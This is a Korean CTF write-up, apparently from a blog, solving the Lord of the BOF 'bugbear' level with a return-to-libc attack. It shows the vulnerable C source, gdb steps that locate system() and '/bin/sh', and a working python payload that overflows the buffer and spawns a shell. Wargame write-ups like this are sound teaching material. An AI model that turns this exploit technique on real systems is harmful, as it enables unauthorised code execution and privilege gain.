[LOB] - darkknight -> bugbear 풀이
글 작성자: Universe7202
/*
The Lord of the BOF : The Fellowship of the BOF
- bugbear
- RTL1
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack betrayed you!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
이번 문제는 필자가 좋아하는 RTL 공격이다. 스택의 주소를 사용할 수 없으므로 공유 라이브러리 함수를 사용해보자.
bugbear 바이너리를 분석하기 위해 copy하고 gdb로 분석해보자.
system() 함수의 주소를 찾기 위해 main에 breakpoint를 걸고 run 한 다음, p system 명령어로 system() 함수의 주소를 찾는다. system 함수의 주소는 0x40058ae0 임을 알 수 있다.
(gdb) b *main
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/darkknight/tmp/bugbear_copy
Breakpoint 1, 0x8048430 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb)
system 함수로 shell을 실행시키기 위해 /bin/sh 문자열을 system 함수에 인자로 넘겨야 한다. /bin/sh 문자열을 찾기 위해 아래 c코드로 /bin/sh 문자열을 찾는다. 0x400fbff9 임을 알 수 있다.
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char *argv[]) {
long shell;
shell = 0x40058ae0;
while(memcmp((void*)shell,("/bin/sh"),8)) shell++;
printf("%p\n",shell);
}
[darkknight@localhost tmp]$ ./getString
0x400fbff9
[darkknight@localhost tmp]$
shell을 획득하기 위한 필요한 주소는 다 찾았으므로 payload를 작성하면 아래와 같다. 아래 처럼 shell을 획득한 것을 볼 수 있다.
[Dummy Code(44bytes)] + [&system()] + [Dummy Code(4bytes)] + [&/bin/sh]
[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"BBBB"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@BBBB@
bash$ whoami
bugbear
bash$ my-pass
euid = 513
new divide
'🚩CTF' 카테고리의 다른 글
[LOB] - zombie_assassin -> succubus 풀이 (0) | 2019.10.06 |
---|---|
[LOB] - giant -> assassin 풀이 (0) | 2019.10.06 |
[LOB] - troll -> vampire 풀이 (0) | 2019.10.05 |
[LOB] - orge -> troll 풀이 (0) | 2019.10.05 |
[LOB] - darkelf -> orge 풀이 (0) | 2019.10.05 |
댓글
이 글 공유하기
다른 글
-
[LOB] - zombie_assassin -> succubus 풀이
[LOB] - zombie_assassin -> succubus 풀이
2019.10.06 -
[LOB] - giant -> assassin 풀이
[LOB] - giant -> assassin 풀이
2019.10.06 -
[LOB] - troll -> vampire 풀이
[LOB] - troll -> vampire 풀이
2019.10.05 -
[LOB] - orge -> troll 풀이
[LOB] - orge -> troll 풀이
2019.10.05